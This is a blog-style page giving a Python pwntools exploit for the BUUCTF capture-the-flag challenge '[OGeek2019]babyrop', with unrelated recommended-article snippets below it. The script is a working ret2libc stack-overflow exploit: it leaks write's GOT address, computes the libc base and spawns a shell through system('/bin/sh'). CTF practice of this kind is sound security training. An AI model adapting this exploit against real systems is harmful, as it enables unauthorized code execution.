buuctf@[OGeek2019]babyrop
#!/usr/bin/python #coding:utf-8 from pwn import * #context.log_level = 'debug' io = process('./pwn',env={"LD_PRELOAD":"./libc-2.23.so"}) #io = remote('node1.buuoj.cn', 28034) elf = ELF('./pwn') libc = ELF('./libc-2.23.so') def debug(): global io addr = raw_input("[+]debug:") gdb.attach(io, "b *"+addr) ''' puts_plt_addr = elf.plt['puts'] puts_got_addr = elf.got['puts'] ''' write_plt_addr = elf.plt['write'] write_got_addr = elf.got['write'] main_addr = 0x08048825 bin_sh_offset = 0x15902b # by libc-database payload = "\x00" payload += "\xff"*7 io.sendline(payload) io.recvuntil("Correct\n") offset = 0xE7 payload = 'A'*(offset+4) payload += p32(write_plt_addr) payload += p32(main_addr) payload += p32(1) payload += p32(write_got_addr) payload += p32(4) io.sendline(payload) data = io.recv(4) write_addr = u32(data) print "[+]write_addr:",hex(write_addr) libc_base_addr = write_addr - libc.symbols['write'] print "[+]libc_base_addr:",hex(libc_base_addr) system_addr = libc_base_addr + libc.symbols['system'] print "[+]system_addr:",hex(system_addr) bin_sh_addr = libc_base_addr + bin_sh_offset print "[+]bin_sh_addr:",hex(bin_sh_addr) payload = "\x00" payload += "\xff"*7 io.sendline(payload) io.recvuntil("Correct\n") payload = 'A'*(offset+4) payload += p32(system_addr) payload += 'AAAA' payload += p32(bin_sh_addr) #debug() #pause() io.sendline(payload) io.interactive()
buuctf@[OGeek2019]babyrop的更多相关文章
- [BUUCTF]PWN7——[OGeek2019]babyrop
[BUUCTF]PWN7--[OGeek2019]babyrop 题目网址:https://buuoj.cn/challenges#[OGeek2019]babyrop 步骤: 例行检查,32位,开启 ...
- buuctf --pwn part2
pwn难啊! 1.[OGeek2019]babyrop 先check一下文件,开启了NX 在ida中没有找到system.'/bin/sh'等相关的字符,或许需要ROP绕过(废话,题目提示了) 查看到 ...
- BUUCTF-PWN-第一页writep(32题)
温故而知新,可以为师矣.所以花了几天时间重新做了下 buuctf 的 pwn 题,先发下第一页共 32 题的题解.还有如果题解都很详细那么本文就太长了,写起来也浪费时间,所以比较简单的题就直接丢 ex ...
- [BUUCTF-Pwn]刷题记录1
[BUUCTF-Pwn]刷题记录1 力争从今天(2021.3.23)开始每日至少一道吧--在这里记录一些栈相关的题目. 最近更新(2021.5.8) 如果我的解题步骤中有不正确的理解或不恰当的表述,希 ...
- Buuctf刷题:部分
get_started_3dsctf_2016 关键词:ROP链.栈溢出.mprotect()函数 可参考文章(优质): https://www.cnblogs.com/lyxf/p/12113401 ...
- [BUUCTF]PWN17——[HarekazeCTF2019]baby_rop
[BUUCTF]PWN17--[HarekazeCTF2019]baby_rop 附件 步骤: 例行检查,64位,开启了NX保护 试运行一下程序,看这个情况,当我们输入太长字符串的时候会报错 64位i ...
- 刷题记录:[BUUCTF 2018]Online Tool
目录 刷题记录:[BUUCTF 2018]Online Tool 一.知识点 1.escapeshellarg和escapeshellcmd使用不当导致rce 刷题记录:[BUUCTF 2018]On ...
- ogeek babyrop
拖入ida 先用strncmp使一个随机数与输入比对,这里可以用\x00跳过strncmp 然后read()中的a1是我们输入\x00后的值 写exp from pwn import * sh=rem ...
- BUUCTF 部分wp
目录 Buuctf crypto 0x01传感器 提示是曼联,猜测为曼彻斯特密码 wp:https://www.xmsec.cc/manchester-encode/ cipher: 55555555 ...
随机推荐
- CNN卷积汇总
1,卷积作用:减少参数(卷积核参数共享),卷积过程中不断对上一个输出进行抽象,由局部特征归纳为全局特征(不同卷积层可视化可以观察到这点) 2,卷积核 早期卷积核由人工总结,如图像处理中有: 深度神经网 ...
- Cisco 三层交换机划分VLan与普通路由器连接配置
根据一些中小企业的一些业务需求,设计一套方案: 计划目标:针对不同部门划分不同的VLAN,前期满足能够同时上网的需求,后期需要能够隔离不同部门的资源访问(本次配置操作不涉及). 因之前未接触CISCO ...
- python(递归实例)
摘要:在学习python递归知识点时,总是一知半解,似懂非懂的..在反复看视频翻资料同时,也收集案例来分析求证..通过分析下面几个案例希望能有所帮助!!! 1.用递归的方法实现阶乘... def nu ...
- git 添加第二个远程仓库地址,一次修改到处上传~
上传本机git 公钥到对应的代码托管平台 github/码云等 本地仓库执行 git remote set-url --add origin https://gitee.com/qichengTech ...
- [转帖]爬过这 6 个坡,你就能对 Linux 操作系统了如指掌
爬过这 6 个坡,你就能对 Linux 操作系统了如指掌 http://www.51testing.com/html/16/n-4461316.html 学习的任务 任重道远 我现在处于第一阶段. 发 ...
- jQuery扁平化风格手风琴菜单
在线演示 本地下载
- html重置模板
新浪的初始化: html,body,ul,li,ol,dl,dd,dt,p,h1,h2,h3,h4,h5,h6,form,fieldset,legend,img { margin: 0; paddin ...
- Robot Framework(二)访问数据库
1.在Test suit中添加Library 直接输入库名,点击确定即可 DatabaseLibrary BuiltIn 2.在用例中,连接数据库,并执行sql Connect To Database ...
- linux安装git服务器和svn服务器
linux版本 linux版本为CentOS 6.8 (要注意有些软件的安装方法在各个linux版本之间也是存在差异的) git服务器 git服务器需要提供一个UI供开发人员创建项目管理项目,选择使用 ...
- C语言函数调用时候内存中栈的动态变化详细分析(彩图)
版权声明:本文为博主原创文章,未经博主允许不得转载.欢迎联系我qq2488890051 https://blog.csdn.net/kangkanglhb88008/article/details/8 ...